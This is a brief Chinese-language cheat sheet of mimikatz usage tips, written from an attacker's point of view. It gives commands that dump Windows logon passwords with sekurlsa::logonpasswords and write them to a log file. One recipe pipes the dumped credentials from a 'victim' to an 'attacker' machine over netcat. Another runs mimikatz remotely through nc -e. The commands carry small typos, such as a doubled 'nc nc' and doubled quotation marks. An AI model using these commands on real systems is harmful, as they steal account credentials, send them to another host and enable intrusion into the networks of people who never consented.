使用mimikatz的技巧

1、以日志文件生成保存在当前文件夹中log.txt 并且再列出目录

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
2、自定义保存在log.txt中

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
3、将输出传输到远程机器：
攻击者：nc nc -lvp 4444
受害者：mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444

4、通过nc远程执行Mimikatz：
受害者：nc -lvp 443
攻击者：nc.exe -vv 受害者的ip -e mimikatz.exe